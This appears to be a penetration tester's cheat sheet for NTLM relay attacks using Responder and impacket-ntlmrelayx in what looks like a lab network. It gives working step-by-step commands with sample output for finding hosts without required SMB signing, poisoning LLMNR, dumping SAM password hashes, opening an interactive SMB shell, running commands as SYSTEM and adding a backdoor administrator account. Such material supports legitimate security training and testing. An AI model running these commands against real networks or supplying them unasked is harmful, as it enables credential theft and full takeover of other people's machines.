NTLM Relay (via ntlmrelayx)
Requirements
- SMB signing disabled or not required on target
- Relayed user has local admin rights on target
- Same network segment as victims
Attack Flow
Victim LLMNR broadcast → Responder poisons (SMB/HTTP off) → ntlmrelayx relays auth to target → Shell / SAM dump / command execStep 0 - Identify Vulnerable Hosts
# Nmap
nmap --script=smb2-security-mode.nse -p445 10.10.10.0/24 -PnMessage signing enabled but not required ← VULNERABLE
Message signing enabled and required ← SKIP# CrackMapExec — auto-generates targets.txt
nxc smb 10.10.10.0/24 --gen-relay-list targets.txtStep 1 - Configure Responder
sudo mousepad /etc/responder/Responder.confSet:
SMB = Off
HTTP = Offcat /etc/responder/Responder.conf | grep -E "SMB|HTTP"Step 2 - Start ntlmrelayx (before Responder)
SAM dump (default):
impacket-ntlmrelayx -tf targets.txt -smb2support[*] Authenticating against 192.168.1.100 as MARVEL\fcastle SUCCEED
[+] Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SAM format: username:RID:LM:NTLM — crack NTLM with Hashcat mode 1000Interactive SMB shell:
impacket-ntlmrelayx -tf targets.txt -smb2support -i[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000nc 127.0.0.1 11000shares
use C$
lsExecute a command:
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"[*] Executed specified command on host: 192.168.1.100
nt authority\systemCreate backdoor admin:
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker Password123! /add && net localgroup administrators hacker /add"Step 3 - Run Responder
sudo responder -I eth0 -dw 2>&1 | tee responder_output.txt[*] [LLMNR] Poisoned answer sent to 192.168.1.105 for name FIELSERVRFlag Reference
| Flag | Meaning |
|---|---|
-tf targets.txt | List of IPs to relay credentials to |
-smb2support | Enable SMB2 support |
-i | Spawn interactive SMB shell |
-c "<cmd>" | Execute command on target after relay |